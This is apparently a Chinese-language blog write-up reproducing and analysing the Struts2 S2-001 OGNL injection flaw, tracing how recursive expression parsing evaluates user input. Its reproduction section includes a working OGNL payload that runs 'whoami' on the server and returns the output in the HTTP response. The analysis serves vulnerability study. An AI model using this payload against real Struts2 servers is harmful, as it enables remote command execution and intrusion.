Struts2 001 漏洞复现&分析
Struts2-001
0x01 漏洞概述
1、漏洞名称
-
漏洞名称:Struts Remote Code Exploit
-
漏洞编号:Struts2-001
-
漏洞类型:Remote Code Execution
2、漏洞原理
Struts2的框架的XWork库中,对ognl表达式的解析方法是通过递归循环的方式进行解析,导致可以对输入形如%{*}的表达式字符串进行解析。
0x02 漏洞复现
测试poc
%{1+1}
解析表达式,在返回框中返回2
或者直接执行命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
执行结果
0x03 漏洞分析
1、漏洞成因总体概览
该漏洞触发的一个因素之一是在Action执行完成之后,返回“错误”的结果到原先的带有taglib标签的jsp进行渲染,而返回的时候会对字符串进行ognl表达式递归解析。借助一个图更好理解一些
Result配置
我们看看execute方法的内在逻辑
依照struts.xml当execute返回success时,将指向success.jsp,若为error将执行index.jsp,而index.jsp中的代码如下
当其返回到index.jsp时,而jsp中有需要解析渲染的标签,又因为name中的内容为%{1+1},被当成ognl表达式执行。最后返回给index.jsp的name变量。
网上很多文章和论坛在验证这块说是当验证不通过,从而result转向原页面(index.jsp)时候会出现这个漏洞,感觉还是不够严谨,其实无论验证成功或者失败,与结果无关,真正的前提原因是无论转向哪个页面,只要出现解析标签解析输入的时候的变量name(<s:xxxx name="name">),那么payload %{*}将会进入有问题的ognl表达式解析方法中进行解析,从而造成命令执行。验证如下:
修改success.jsp,直接添加了跟index.jsp一样的内容,textfield修改为textarea
根据LoginAction.java其逻辑既
(1)index.jsp输入
(2)LoginAction处理
(3)LoginAction返回success转向success.jsp而非index.jsp原页面
2、 漏洞细节
后面的篇幅过多且复杂,想大概了解直接看最后看粗体字。
关于这段解析的细节,网络上很多文章都有写,从LoginAction到渲染的这段调用太复杂了,这里直接从doEndTag开始讲,力求通俗易懂。
从doEndTag开始分析,主要是因为从上面的漏洞概览上可知,该漏洞是在渲染返回的jsp中的标签的时候触发的。
请求payload
LoginAction处理完结果返回
doEndTag下断点
跟进component.end()
继续跟进evaluateParams
findValue既解析该表达式字符串的值,此处输入的expr的值为%{name}
表达式解析执行
获取name的值
通过getValue对name进行取值
最终返回%{1+1},while循环并未中断%{1+1}再次解析。
若expr为name则取name的值,若为1+1则直接计算其结果,若为其他的payload比如执行命令则直接执行命令。
执行结果
理一理核心关键点
(1)假设输入的是其abc或者2+2字符串,进入解析时候的表达式是%{name},而getValue("name")返回值则是2+2的字字符串,再次进入循环时,被判断不是表达式直接返回给前台(漏洞没有触发)。
(2)若输入的是%{2+2},进入解析时候的表达式也是getValue("name"),getValue("name")返回的则是%{2+2},而解析方法由于是循环式的,由于判断该值依然是ognl表达式,则进一步去出2+2传达给getValue,此时的getValue("2+2"),则2+2被当作表达式执行了加法。
0x04 题外话
大部分漏洞的形成,剥离不开开发者的研发需求,而造成st2的漏洞的递归解析解析需求,个人认为从开发的角度来讲,为什么不直接只解析一层ognl表达式逻辑呢,可能是遇到了遇到了多层解析的需求?既我框架内部的其他调用需要多次递归从某个变量中取出我想要的值。总之这也开拓了我们的视野从开发者的角度是不是有类似与这种解析方式的代码同样存在这样的漏洞呢?
0x05 参考
https://www.cnblogs.com/cenyu/p/6233942.html
https://www.angelwhu.com/paper/2015/07/24/principle-analysis-of-struts2-tag/